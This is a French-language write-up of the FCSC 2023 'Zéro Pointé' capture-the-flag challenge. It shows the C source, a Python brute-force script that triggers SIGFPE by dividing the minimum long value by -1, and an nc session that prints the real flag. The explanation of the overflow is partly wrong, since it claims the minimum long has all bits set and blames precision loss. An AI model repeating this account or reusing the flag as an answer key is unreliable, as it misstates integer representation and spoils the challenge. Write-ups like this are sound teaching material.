Zéro Pointé

ZeroPointe

Le principe de ce challenge est simple : afficher le flag en donnant la bonne valeur.

Pour ce challenge, nous avons 2 fichiers. zero-pointe et le code C de ce binaire :

#include <stdlib.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>


static void
flag(int sig)
{
    (void) sig;
    char flag[128];

    int fd = open("flag.txt", O_RDONLY);
    if (fd == -1) {
        perror("open");
        exit(EXIT_FAILURE);
    }

    int n = read(fd, flag, sizeof(flag));
    if (n == -1) {
        perror("read");
        exit(EXIT_FAILURE);
    }

    flag[n] = 0;
    flag[strstr(flag, "\n") - flag] = 0;

    if (close(fd) == -1) {
        perror("close");
        exit(EXIT_FAILURE);
    }

    printf("%s\n", flag);

    exit(EXIT_SUCCESS);
}

long
read_long()
{
    long val;
    scanf("%ld", &val);
    return val;
}

int
main()
{
    long a;
    long b;
    long c;

    if (signal(SIGFPE, flag) == SIG_ERR) {
        perror("signal");
        exit(EXIT_FAILURE);
    }

    a = read_long();
    b = read_long();
    c = b ? a / b : 0;

    printf("%ld\n", c);
    exit(EXIT_SUCCESS);
}

Décorticage

Tout d'abord, intéressons-nous à la fonction main.

int
main()
{
    long a;
    long b;
    long c;

    if (signal(SIGFPE, flag) == SIG_ERR) {
        perror("signal");
        exit(EXIT_FAILURE);
    }

    a = read_long();
    b = read_long();
    c = b ? a / b : 0;

    printf("%ld\n", c);
    exit(EXIT_SUCCESS);
}

Nous avons 3 variables de type long.

Nous avons ensuite un bloc qui teste que si le signal systeme SIGFPE. Quand celui-ci est déclenché, cela appelle la fonction flag définie plus haut. Ce qui a pour action d'afficher le flag.

Ensuite, les variables a et b sont récupérées depuis une saisie au clavier.

La variable c est égale à :

  • Si b est vrai (différent de 0 en fait), alors on divise a par b et on retourne le résultat dans la variable c. Sinon, on lui retourne 0.

Pour déclencher le signal SIGFPE, il faudrait provoquer une rupture inattendue pour le programme, comme par exemple, déclencher une division par 0 (car mathématiquement impossible). Le problème est que si on donne 0 à la variable b, la condition dit que c sera égale à 0.

Ce programme est donc protégé de cette impossibilité mathématique.

Sauf que...

Mais il y a un mais !

En informatique, (tout comme en électronique et en physique d'ailleurs), nous vivons dans un monde fini. En mathématiques, avoir un grand nombre de 0 derrière une virgule est tout à fait possible, et cohérent. tout comme l'infini. Sauf qu'en informatique, étant donné que le support est fini, nous ne pouvons pas stocker une infinité de chiffres pour une variable. Un nombre entier de type int est codé sur 32 bits (soit 4 294 967 295 valeurs), un long sur 64 bits (18 446 744 073 709 551 615 valeurs).

Le problème avec les divisions et l'utilisation de types de données comme int ou long, c'est que nous allons perdre de la précision (troncature de la partie entière, et de la partie décimale). C'est là-dessus que nous allons jouer pour imiter une division par 0 sans que cela en soit une.

Créons un script qui va nous trouver les 2 valeurs qui vont déclencher une erreur dans le programme pour déclencher un signel SIGFPE.

import os
import ctypes
from ctypes.util import find_library
from signal import SIGFPE
from subprocess import Popen, PIPE

libc = ctypes.CDLL(find_library('c'))
libc.ptrace.argtypes = [ctypes.c_int, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_long

a = -9223372036854775808
b = 0

for i in range (-1000, 3):
    b = i

    # Exécute le binaire
    p = Popen(["./zero-pointe"], stdin=PIPE, stdout=PIPE)

    # Envoie les deux valeurs au binaire
    input_str = str(a) + '\n' + str(b) + '\n'
    output_bytes = p.communicate(input=input_str.encode())[0]
    out = output_bytes.decode()
    print(out)
    if "coucou" in out:
        print(a,b)
        break

Intéressons-nous l'initialisation des variables a et b puis à la boucle qui suit.

Nous initialisons tout d'abord a à la valeur mathématiquement minimale possible d'un long.

Pourquoi mathématiquement minimale ? Car les 64 bits sont tous initialisés à 1.

Informatiquement, c'est la valeur maximale (oui oui maximale, pas minimale) de ce type.

Nous initialisons ensuite b à 0 car nous allons le surcharger dans la boucle à d'autres valeurs.

Cette boucle va ouvrir le programme et envoyer les 2 valeurs à ce programme pour tenter de trouver quelles sont les valeurs a et b à rentrer pour déclencher le signal SIGFPE.

Nous parcourons cette boucle de -1000 à 3. Le but étant surtout de trouver une valeur autour de 0 pour trouver la limite de précision au calcul. Si on la trouve, on affiche les valeurs trouvées.

Le "coucou" dans le code, c'est parce que j'ai créé un fichier flag.txt avec "coucou" dedans pour que le binaire puisse l'afficher, ce qui nous permet de détecter le déclenchement de l'affichage du flag.

┌──(kali㉿kali)-[~/FCSC/2023/Misc/ZeroPointe]
└─$ python3 test.py
9223372036854775

9232604641496272

9241855748351478

9251125413094057

9260413691621260

9269720640055051

9279046314743235

[...]

coucou

-9223372036854775808 -1

Bingo ! Nous avons notre valeur a et b pour déclencher une division par 0 avec a = -9223372036854775808 et b = -1.

Donnant ces valeurs au programme distant, nous avons donc :

┌──(kali㉿kali)-[~/FCSC/2023/Misc/ZeroPointe]
└─$ nc challenges.france-cybersecurity-challenge.fr 2050
-9223372036854775808
-1
FCSC{0366ff5c59934da7301c0fc6cf7d617c99ad6f758831b1dc70378e59d1e060bf}
Lolcat